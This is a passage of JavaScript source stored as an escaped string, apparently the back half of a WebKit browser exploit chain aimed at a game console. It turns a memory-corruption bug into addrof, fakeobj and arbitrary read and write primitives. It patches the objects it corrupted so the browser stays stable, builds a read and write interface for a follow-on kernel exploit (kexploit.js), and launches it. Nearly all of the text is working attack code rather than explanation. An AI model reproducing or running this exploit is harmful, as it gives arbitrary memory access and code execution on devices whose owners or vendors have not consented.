     return a[4] + a[5] * 4294967296;\n    }\n\n    window.addrof = function (x) {\n        obj_slave.obj = x;\n        return i48_get(obj_master);\n    }\n\n    window.fakeobj = function (x) {\n        i48_put(x, obj_master);\n        return obj_slave.obj;\n    }\n\n    function read_mem_setup(p, sz) {\n        i48_put(p, arw_master);\n        arw_master[6] = sz;\n    }\n\n    window.read_mem = function (p, sz) {\n        read_mem_setup(p, sz);\n        var arr = [];\n        for (var i = 0; i < sz; i++)\n            arr.push(arw_slave[i]);\n        return arr;\n    };\n\n    window.write_mem = function (p, data) {\n        read_mem_setup(p, data.length);\n        for (var i = 0; i < data.length; i++)\n            arw_slave[i] = data[i];\n    };\n\n    window.read_ptr_at = function (p) {\n        var ans = 0;\n        var d = read_mem(p, 8);\n        for (var i = 7; i >= 0; i--)\n            ans = 256 * ans + d[i];\n        return ans;\n    };\n\n    window.write_ptr_at = function (p, d) {\n        var arr = [];\n        for (var i = 0; i < 8; i++) {\n            arr.push(d & 0xff);\n            d /= 256;\n        }\n        write_mem(p, arr);\n    };\n\n    (function () {\n        var magic = boot_fakeobj(boot_addrof(obj) + 16);\n        magic[4] = addrof_slave;\n        magic[5] = (addrof_slave - addrof_slave % 0x100000000) / 0x100000000;\n        obj.buffer = obj_master;\n        magic[4] = addrof_obj_slave;\n        magic[5] = (addrof_obj_slave - addrof_obj_slave % 0x100000000) / 0x100000000;\n        magic = null;\n    })();\n\n    //fix fucked objects to stabilize webkit\n\n    (function () {\n        //fix fontfaceset (memmoved 96 bytes to low, move back)\n        var ffs_addr = read_ptr_at(addrof(post_ffs) + 8) - 208;\n        write_mem(ffs_addr, read_mem(ffs_addr - 96, 208));\n        //fix strings (restore \"valid\") header\n        for (var i = 0; i < needfix.length; i++) {\n            var addr = read_ptr_at(addrof(needfix[i]) + 8);\n            write_ptr_at(addr, (HASHMAP_BUCKET - 20) * 0x100000000 + 1);\n            write_ptr_at(addr + 8, addr + 20);\n            write_ptr_at(addr + 16, 0x80000014);\n        }\n        //fix array butterfly\n        write_ptr_at(butterfly + 248, 0x1f0000001f);\n    })();\n\n    //^ @sleirs' stuff. anything pre arb rw is magic, I'm happy I don't have to deal with that.\n\n    //create compat stuff for kexploit.js\n    let expl_master = new Uint32Array(8);\n    let expl_slave = new Uint32Array(2);\n    let addrof_expl_slave = addrof(expl_slave);\n    let m = fakeobj(addrof(obj) + 16);\n    obj.buffer = expl_slave;\n    m[7] = 1;\n    obj.buffer = expl_master;\n    m[4] = addrof_expl_slave;\n    m[5] = (addrof_expl_slave - addrof_expl_slave % 0x100000000) / 0x100000000;\n    m[7] = 1;\n\n    let prim = {\n        write8: function (addr, value) {\n            expl_master[4] = addr.low;\n            expl_master[5] = addr.hi;\n            if (value instanceof int64) {\n                expl_slave[0] = value.low;\n                expl_slave[1] = value.hi;\n            } else {\n                expl_slave[0] = value;\n                expl_slave[1] = 0;\n            }\n        },\n        write4: function (addr, value) {\n            expl_master[4] = addr.low;\n            expl_master[5] = addr.hi;\n            if (value instanceof int64) {\n                expl_slave[0] = value.low;\n            } else {\n                expl_slave[0] = value;\n            }\n        },\n        write2: function (addr, value) {\n            expl_master[4] = addr.low;\n            expl_master[5] = addr.hi;\n            let tmp = expl_slave[0] & 0xFFFF0000;\n            if (value instanceof int64) {\n                expl_slave[0] = ((value.low & 0xFFFF) | tmp);\n            } else {\n                expl_slave[0] = ((value & 0xFFFF) | tmp);\n            }\n        },\n        write1: function (addr, value) {\n            expl_master[4] = addr.low;\n            expl_master[5] = addr.hi;\n            let tmp = expl_slave[0] & 0xFFFFFF00;\n            if (value instanceof int64) {\n                expl_slave[0] = ((value.low & 0xFF) | tmp);\n            } else {\n                expl_slave[0] = ((value & 0xFF) | tmp);\n            }\n        },\n        read8: function (addr) {\n            expl_master[4] = addr.low;\n            expl_master[5] = addr.hi;\n            return new int64(expl_slave[0], expl_slave[1]);\n        },\n        read4: function (addr) {\n            expl_master[4] = addr.low;\n            expl_master[5] = addr.hi;\n            return expl_slave[0];\n        },\n        read2: function (addr) {\n            expl_master[4] = addr.low;\n            expl_master[5] = addr.hi;\n            return expl_slave[0] & 0xFFFF;\n        },\n        read1: function (addr) {\n            expl_master[4] = addr.low;\n            expl_master[5] = addr.hi;\n            return expl_slave[0] & 0xFF;\n        },\n        leakval: function (obj) {\n            obj_slave.obj = obj;\n            return new int64(obj_master[4], obj_master[5]);\n        }\n    };\n    window.p = prim;\n    run_hax();\n}"
  }
]